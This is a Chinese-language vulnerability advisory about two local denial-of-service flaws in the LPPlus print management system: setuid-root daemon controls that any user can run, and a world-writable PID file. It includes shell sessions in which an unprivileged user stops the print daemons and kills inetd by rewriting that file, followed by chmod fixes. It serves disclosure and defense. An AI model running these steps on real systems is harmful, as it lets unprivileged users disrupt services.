LPPlus 权限配置错误拒绝服务漏洞

2008-04-09 04:35:12来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

LPPlus 权限配置错误拒绝服务漏洞

发布日期:2000-09-07
更新日期:2000-09-07

受影响系统:

Plus Technologies LPPlus 3.3.0 for Solaris 2.x
Plus Technologies LPPlus 3.2.1 for Linux
描述:

LPPlus 是Plus Technologies出品的一个Unix下的打印管理系统。它存在一些安全问题

漏洞一:

缺省安装时,LPPlus 打印管理系统有几个 setuid root 程序,
它们包括:

$LPHOME/bin/dccsched
$LPHOME/bin/dcclpdser
$LPHOME/bin/dccbkst

这三个程序分别启动任务调度、服务器、网络状态守护进程。

$LPHOME/bin/dccshut
$LPHOME/bin/dcclpdshut
$LPHOME/bin/dccbkstshut

这三个程序分别停止三个守护进程。

缺省时,任何用户无论他/她拥有什么权限都可以运行这六个程序。
这导致任何用户度可以启动或停止打印服务。

漏洞二:

$LPHOME/system/lpdprocess 文件以 777 模式创建。这个文件
包含 dcclpdser 进程的进程号。如果一个用户把它修改成别的进
程的进程号,然后运行 $LPHOME/system/lpdprocess 程序,由于
它是 setuid root 程序,那么他/她就可以关闭任何进程。

<*来源: Dixie Flatline (echo8@FIREST0RM.ORG) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


漏洞一:

$ id
uid=600(test) gid=300(users)
$ ps -ef|grep dcc
test 26357 26351 0 18:18:06 pts/0 0:00 grep dcc
root 26262 1 0 17:41:50 ? 0:01 /opt/lpplus/bin/dccsched
root 26272 1 0 17:42:03 ? 0:00 /opt/lpplus/bin/dcclpdser
root 26276 1 0 17:42:14 ? 0:00 /opt/lpplus/bin/dccbkst
$ dccbkstshut
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ dccshut
LPP054I LP Plus scheduler ordered to shutdown.
$ ps -ef|grep dcc
test 26253 26239 0 17:39:45 pts/0 0:00 grep dcc
$

漏洞二:

$ id
uid=600(test) gid=300(users)
$ ps -ef|grep inet
test 26285 26279 0 17:42:42 pts/0 0:00 grep inet
root 12276 1 0 Aug 22 ? 0:00 /usr/sbin/inetd -s
$ cat > $LPHOME/system/lpdprocess
12276
^D
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ ps -ef|grep inet
test 26291 26279 0 17:45:17 pts/0 0:00 grep inet



建议:

临时解决办法:

NSFOCUS建议您去除这些程序的suid root位:
chmod u-s $LPHOME/bin/dccsched
chmod u-s $LPHOME/bin/dcclpdser
chmod u-s $LPHOME/bin/dccbkst
chmod u-s $LPHOME/bin/dccshut
chmod u-s $LPHOME/bin/dcclpdshut
chmod u-s $LPHOME/bin/dccbkstshut

厂商补丁:
暂无


标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Microsoft Windows 2000静态图像服务特权提升漏洞(MS00-065)

下一篇:glibc库unsetenv()环境变量复制后未删除